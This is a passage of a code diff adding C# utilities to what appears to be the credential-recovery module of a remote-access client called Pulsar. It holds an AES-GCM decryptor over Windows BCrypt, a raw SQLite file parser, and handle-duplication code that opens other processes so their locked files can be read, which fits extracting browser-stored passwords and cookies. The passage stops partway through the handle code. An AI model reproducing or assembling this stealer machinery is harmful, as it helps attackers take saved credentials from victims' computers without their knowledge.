||||
[MarshalAs(UnmanagedType.LPWStr)] string pszBlobType,
|
||||
out IntPtr phKey,
|
||||
IntPtr pbKeyObject,
|
||||
int cbKeyObject,
|
||||
byte[] pbInput, //blob of type BCRYPT_KEY_DATA_BLOB + raw key data = (dwMagic (4 bytes) | uint dwVersion (4 bytes) | cbKeyData (4 bytes) | data)
|
||||
int cbInput,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptDestroyKey(IntPtr hKey);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptEncrypt(IntPtr hKey,
|
||||
byte[] pbInput,
|
||||
int cbInput,
|
||||
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
|
||||
byte[] pbIV, int cbIV,
|
||||
byte[] pbOutput,
|
||||
int cbOutput,
|
||||
ref int pcbResult,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
internal static extern uint BCryptDecrypt(IntPtr hKey,
|
||||
byte[] pbInput,
|
||||
int cbInput,
|
||||
ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo,
|
||||
byte[] pbIV,
|
||||
int cbIV,
|
||||
byte[] pbOutput,
|
||||
int cbOutput,
|
||||
ref int pcbResult,
|
||||
int dwFlags);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Utilities
|
||||
{
|
||||
public class AesGcmBetter
|
||||
{
|
||||
public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
|
||||
{
|
||||
IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
|
||||
IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey);
|
||||
|
||||
byte[] plainText;
|
||||
|
||||
var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag);
|
||||
try
|
||||
{
|
||||
byte[] ivData = new byte[MaxAuthTagSize(hAlg)];
|
||||
|
||||
int plainTextSize = 0;
|
||||
|
||||
uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status));
|
||||
|
||||
plainText = new byte[plainTextSize];
|
||||
|
||||
status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0);
|
||||
|
||||
if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH)
|
||||
return null;
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status));
|
||||
}
|
||||
finally
|
||||
{
|
||||
authInfo.Dispose();
|
||||
}
|
||||
|
||||
BCrypt.BCryptDestroyKey(hKey);
|
||||
Marshal.FreeHGlobal(keyDataBuffer);
|
||||
BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0);
|
||||
|
||||
return plainText;
|
||||
}
|
||||
|
||||
private int MaxAuthTagSize(IntPtr hAlg)
|
||||
{
|
||||
byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH);
|
||||
|
||||
return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0);
|
||||
}
|
||||
|
||||
private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode)
|
||||
{
|
||||
IntPtr hAlg = IntPtr.Zero;
|
||||
|
||||
uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status));
|
||||
|
||||
byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode);
|
||||
status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status));
|
||||
|
||||
return hAlg;
|
||||
}
|
||||
|
||||
private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
|
||||
{
|
||||
byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);
|
||||
|
||||
int keyDataSize = BitConverter.ToInt32(objLength, 0);
|
||||
|
||||
IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);
|
||||
|
||||
byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);
|
||||
|
||||
uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));
|
||||
|
||||
return keyDataBuffer;
|
||||
}
|
||||
|
||||
private byte[] GetProperty(IntPtr hAlg, string name)
|
||||
{
|
||||
int size = 0;
|
||||
|
||||
uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));
|
||||
|
||||
byte[] value = new byte[size];
|
||||
|
||||
status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);
|
||||
|
||||
if (status != BCrypt.ERROR_SUCCESS)
|
||||
throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));
|
||||
|
||||
return value;
|
||||
}
|
||||
|
||||
public byte[] Concat(params byte[][] arrays)
|
||||
{
|
||||
int len = 0;
|
||||
|
||||
foreach (byte[] array in arrays)
|
||||
{
|
||||
if (array == null)
|
||||
continue;
|
||||
len += array.Length;
|
||||
}
|
||||
|
||||
byte[] result = new byte[len - 1 + 1];
|
||||
int offset = 0;
|
||||
|
||||
foreach (byte[] array in arrays)
|
||||
{
|
||||
if (array == null)
|
||||
continue;
|
||||
Buffer.BlockCopy(array, 0, result, offset, array.Length);
|
||||
offset += array.Length;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,479 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace Pulsar.Client.Recovery.Utilities
|
||||
{
|
||||
public class SQLiteHandler
|
||||
{
|
||||
private byte[] db_bytes;
|
||||
private ulong encoding;
|
||||
private string[] field_names = new string[1];
|
||||
private sqlite_master_entry[] master_table_entries;
|
||||
private ushort page_size;
|
||||
private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
|
||||
private table_entry[] table_entries;
|
||||
|
||||
public SQLiteHandler(string baseName)
|
||||
{
|
||||
if (File.Exists(baseName))
|
||||
{
|
||||
db_bytes = FileHandlerXeno.ForceReadFile(baseName);
|
||||
if (db_bytes == null)
|
||||
{
|
||||
throw new Exception("Unable to read SQLite Database File");
|
||||
}
|
||||
if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
|
||||
{
|
||||
throw new Exception("Not a valid SQLite 3 Database File");
|
||||
}
|
||||
if (this.db_bytes[0x34] != 0)
|
||||
{
|
||||
throw new Exception("Auto-vacuum capable database is not supported");
|
||||
}
|
||||
//if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
|
||||
//{
|
||||
// throw new Exception("No supported Schema layer file-format");
|
||||
//}
|
||||
this.page_size = (ushort)this.ConvertToInteger(0x10, 2);
|
||||
this.encoding = this.ConvertToInteger(0x38, 4);
|
||||
if (decimal.Compare(new decimal(this.encoding), decimal.Zero) == 0)
|
||||
{
|
||||
this.encoding = 1L;
|
||||
}
|
||||
this.ReadMasterTable(100L);
|
||||
}
|
||||
}
|
||||
|
||||
private ulong ConvertToInteger(int startIndex, int Size)
|
||||
{
|
||||
if ((Size > 8) | (Size == 0))
|
||||
{
|
||||
return 0L;
|
||||
}
|
||||
ulong num2 = 0L;
|
||||
int num4 = Size - 1;
|
||||
for (int i = 0; i <= num4; i++)
|
||||
{
|
||||
num2 = (num2 << 8) | this.db_bytes[startIndex + i];
|
||||
}
|
||||
return num2;
|
||||
}
|
||||
|
||||
private long CVL(int startIndex, int endIndex)
|
||||
{
|
||||
endIndex++;
|
||||
byte[] buffer = new byte[8];
|
||||
int num4 = endIndex - startIndex;
|
||||
bool flag = false;
|
||||
if ((num4 == 0) | (num4 > 9))
|
||||
{
|
||||
return 0L;
|
||||
}
|
||||
if (num4 == 1)
|
||||
{
|
||||
buffer[0] = (byte)(this.db_bytes[startIndex] & 0x7f);
|
||||
return BitConverter.ToInt64(buffer, 0);
|
||||
}
|
||||
if (num4 == 9)
|
||||
{
|
||||
flag = true;
|
||||
}
|
||||
int num2 = 1;
|
||||
int num3 = 7;
|
||||
int index = 0;
|
||||
if (flag)
|
||||
{
|
||||
buffer[0] = this.db_bytes[endIndex - 1];
|
||||
endIndex--;
|
||||
index = 1;
|
||||
}
|
||||
int num7 = startIndex;
|
||||
for (int i = endIndex - 1; i >= num7; i += -1)
|
||||
{
|
||||
if ((i - 1) >= startIndex)
|
||||
{
|
||||
buffer[index] = (byte)((((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)) | ((byte)(this.db_bytes[i - 1] << (num3 & 7))));
|
||||
num2++;
|
||||
index++;
|
||||
num3--;
|
||||
}
|
||||
else if (!flag)
|
||||
{
|
||||
buffer[index] = (byte)(((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2));
|
||||
}
|
||||
}
|
||||
return BitConverter.ToInt64(buffer, 0);
|
||||
}
|
||||
|
||||
public int GetRowCount()
|
||||
{
|
||||
return this.table_entries.Length;
|
||||
}
|
||||
|
||||
public string[] GetTableNames()
|
||||
{
|
||||
List<string> tableNames = new List<string>();
|
||||
int num3 = this.master_table_entries.Length - 1;
|
||||
for (int i = 0; i <= num3; i++)
|
||||
{
|
||||
if (this.master_table_entries[i].item_type == "table")
|
||||
{
|
||||
tableNames.Add(this.master_table_entries[i].item_name);
|
||||
}
|
||||
}
|
||||
return tableNames.ToArray();
|
||||
}
|
||||
|
||||
public string GetValue(int row_num, int field)
|
||||
{
|
||||
if (row_num >= this.table_entries.Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (field >= this.table_entries[row_num].content.Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return this.table_entries[row_num].content[field];
|
||||
}
|
||||
|
||||
public string GetValue(int row_num, string field)
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = -1;
|
||||
int length = this.field_names.Length - 1;
|
||||
for (int i = 0; i <= length; i++)
|
||||
{
|
||||
if (this.field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
|
||||
{
|
||||
num = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (num == -1)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return this.GetValue(row_num, num);
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Debug.WriteLine(e);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private int GVL(int startIndex)
|
||||
{
|
||||
if (startIndex > this.db_bytes.Length)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
int num3 = startIndex + 8;
|
||||
for (int i = startIndex; i <= num3; i++)
|
||||
{
|
||||
if (i > (this.db_bytes.Length - 1))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if ((this.db_bytes[i] & 0x80) != 0x80)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return (startIndex + 8);
|
||||
}
|
||||
|
||||
private bool IsOdd(long value)
|
||||
{
|
||||
return ((value & 1L) == 1L);
|
||||
}
|
||||
|
||||
private void ReadMasterTable(ulong Offset)
|
||||
{
|
||||
if (this.db_bytes[(int)Offset] == 13)
|
||||
{
|
||||
ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
|
||||
int length = 0;
|
||||
if (this.master_table_entries != null)
|
||||
{
|
||||
length = this.master_table_entries.Length;
|
||||
Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.master_table_entries = new sqlite_master_entry[num2 + 1];
|
||||
}
|
||||
int num13 = num2;
|
||||
for (int i = 0; i <= num13; i++)
|
||||
{
|
||||
ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
|
||||
if (decimal.Compare(new decimal(Offset), 100M) != 0)
|
||||
{
|
||||
num += Offset;
|
||||
}
|
||||
int endIndex = this.GVL((int)num);
|
||||
long num7 = this.CVL((int)num, endIndex);
|
||||
int num6 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
|
||||
this.master_table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
|
||||
num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One));
|
||||
endIndex = this.GVL((int)num);
|
||||
num6 = endIndex;
|
||||
long num5 = this.CVL((int)num, endIndex);
|
||||
long[] numArray = new long[5];
|
||||
int index = 0;
|
||||
do
|
||||
{
|
||||
endIndex = num6 + 1;
|
||||
num6 = this.GVL(endIndex);
|
||||
numArray[index] = this.CVL(endIndex, num6);
|
||||
if (numArray[index] > 9L)
|
||||
{
|
||||
if (this.IsOdd(numArray[index]))
|
||||
{
|
||||
numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 13L)) / 2.0));
|
||||
}
|
||||
else
|
||||
{
|
||||
numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 12L)) / 2.0));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
numArray[index] = this.SQLDataTypeSize[(int)numArray[index]];
|
||||
}
|
||||
index++;
|
||||
}
|
||||
while (index <= 4);
|
||||
if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
|
||||
}
|
||||
if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]);
|
||||
}
|
||||
this.master_table_entries[length + i].root_num = (long)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2]))), (int)numArray[3]);
|
||||
if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
|
||||
{
|
||||
this.master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (this.db_bytes[(int)Offset] == 5)
|
||||
{
|
||||
ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
|
||||
int num14 = num11;
|
||||
for (int j = 0; j <= num14; j++)
|
||||
{
|
||||
ushort startIndex = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
|
||||
if (decimal.Compare(new decimal(Offset), 100M) == 0)
|
||||
{
|
||||
this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(startIndex, 4)), decimal.One), new decimal(this.page_size))));
|
||||
}
|
||||
else
|
||||
{
|
||||
this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(this.page_size))));
|
||||
}
|
||||
}
|
||||
this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size))));
|
||||
}
|
||||
}
|
||||
|
||||
public bool ReadTable(string TableName)
|
||||
{
|
||||
int index = -1;
|
||||
int length = this.master_table_entries.Length - 1;
|
||||
for (int i = 0; i <= length; i++)
|
||||
{
|
||||
if (this.master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
|
||||
{
|
||||
index = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (index == -1)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
string[] strArray = this.master_table_entries[index].sql_statement.Substring(this.master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(new char[] { ',' });
|
||||
int num6 = strArray.Length - 1;
|
||||
for (int j = 0; j <= num6; j++)
|
||||
{
|
||||
strArray[j] = (strArray[j]).TrimStart();
|
||||
int num4 = strArray[j].IndexOf(" ");
|
||||
if (num4 > 0)
|
||||
{
|
||||
strArray[j] = strArray[j].Substring(0, num4);
|
||||
}
|
||||
if (strArray[j].IndexOf("UNIQUE") == 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
Array.Resize(ref field_names, j + 1);
|
||||
this.field_names[j] = strArray[j];
|
||||
}
|
||||
return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size));
|
||||
}
|
||||
|
||||
private bool ReadTableFromOffset(ulong Offset)
|
||||
{
|
||||
if (this.db_bytes[(int)Offset] == 13)
|
||||
{
|
||||
int num2 = Convert.ToInt32(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
|
||||
int length = 0;
|
||||
if (this.table_entries != null)
|
||||
{
|
||||
length = this.table_entries.Length;
|
||||
Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
this.table_entries = new table_entry[num2 + 1];
|
||||
}
|
||||
int num16 = num2;
|
||||
for (int i = 0; i <= num16; i++)
|
||||
{
|
||||
record_header_field[] _fieldArray = new record_header_field[1];
|
||||
ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
|
||||
if (decimal.Compare(new decimal(Offset), 100M) != 0)
|
||||
{
|
||||
num += Offset;
|
||||
}
|
||||
int endIndex = this.GVL((int)num);
|
||||
long num9 = this.CVL((int)num, endIndex);
|
||||
int num8 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
|
||||
this.table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
|
||||
num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One));
|
||||
endIndex = this.GVL((int)num);
|
||||
num8 = endIndex;
|
||||
long num7 = this.CVL((int)num, endIndex);
|
||||
long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One));
|
||||
for (int j = 0; num10 < num7; j++)
|
||||
{
|
||||
Array.Resize(ref _fieldArray, j + 1);
|
||||
endIndex = num8 + 1;
|
||||
num8 = this.GVL(endIndex);
|
||||
_fieldArray[j].type = this.CVL(endIndex, num8);
|
||||
if (_fieldArray[j].type > 9L)
|
||||
{
|
||||
if (this.IsOdd(_fieldArray[j].type))
|
||||
{
|
||||
_fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 13L)) / 2.0));
|
||||
}
|
||||
else
|
||||
{
|
||||
_fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 12L)) / 2.0));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_fieldArray[j].size = this.SQLDataTypeSize[(int)_fieldArray[j].type];
|
||||
}
|
||||
num10 = (num10 + (num8 - endIndex)) + 1L;
|
||||
}
|
||||
this.table_entries[length + i].content = new string[(_fieldArray.Length - 1) + 1];
|
||||
int num4 = 0;
|
||||
int num17 = _fieldArray.Length - 1;
|
||||
for (int k = 0; k <= num17; k++)
|
||||
{
|
||||
if (_fieldArray[k].type > 9L)
|
||||
{
|
||||
if (!this.IsOdd(_fieldArray[k].type))
|
||||
{
|
||||
if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0)
|
||||
{
|
||||
this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 2M) == 0)
|
||||
{
|
||||
this.table_entries[length + i].content[k] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
|
||||
}
|
||||
else if (decimal.Compare(new decimal(this.encoding), 3M) == 0)
|
||||
{
|
||||
this.table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size));
|
||||
}
|
||||
num4 += (int)_fieldArray[k].size;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (this.db_bytes[(int)Offset] == 5)
|
||||
{
|
||||
ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
|
||||
int num18 = num14;
|
||||
for (int m = 0; m <= num18; m++)
|
||||
{
|
||||
ushort num13 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
|
||||
this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(this.page_size))));
|
||||
}
|
||||
this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size))));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct record_header_field
|
||||
{
|
||||
public long size;
|
||||
public long type;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct sqlite_master_entry
|
||||
{
|
||||
public long row_id;
|
||||
public string item_type;
|
||||
public string item_name;
|
||||
public string astable_name;
|
||||
public long root_num;
|
||||
public string sql_statement;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct table_entry
|
||||
{
|
||||
public long row_id;
|
||||
public string[] content;
|
||||
}
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,687 @@
|
||||
using Pulsar.Client.Recovery.Utilities.Xeno;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using static Pulsar.Client.Recovery.Utilities.Xeno.InternalStructsXeno;
|
||||
|
||||
class FileHandlerXeno
|
||||
{
|
||||
private static InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX? pGlobal_SystemHandleInfo = null;
|
||||
private static IntPtr pGlobal_SystemHandleInfoBuffer = IntPtr.Zero;
|
||||
|
||||
public static string GetPathFromHandle(IntPtr file)
|
||||
{
|
||||
uint FILE_NAME_NORMALIZED = 0x0;
|
||||
|
||||
StringBuilder FileNameBuilder = new StringBuilder(32767 + 2);//+2 for a possible null byte?
|
||||
uint pathLen = NativeMethodsXeno.GetFinalPathNameByHandleW(file, FileNameBuilder, (uint)FileNameBuilder.Capacity, FILE_NAME_NORMALIZED);
|
||||
if (pathLen == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string FileName = FileNameBuilder.ToString(0, (int)pathLen);
|
||||
return FileName;
|
||||
}
|
||||
|
||||
public static bool DupHandle(int sourceProc, IntPtr sourceHandle, out IntPtr newHandle)
|
||||
{
|
||||
newHandle = IntPtr.Zero;
|
||||
uint PROCESS_DUP_HANDLE = 0x0040;
|
||||
uint DUPLICATE_SAME_ACCESS = 0x00000002;
|
||||
IntPtr procHandle = NativeMethodsXeno.OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProc);
|
||||
if (procHandle == IntPtr.Zero)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
IntPtr targetHandle = IntPtr.Zero;
|
||||
|
||||
if (!NativeMethodsXeno.DuplicateHandle(procHandle, sourceHandle, NativeMethodsXeno.GetCurrentProcess(), ref targetHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
NativeMethodsXeno.CloseHandle(procHandle);
|
||||
return false;
|
||||
|
||||
}
|
||||
newHandle = targetHandle;
|
||||
NativeMethodsXeno.CloseHandle(procHandle);
|
||||
return true;
|
||||
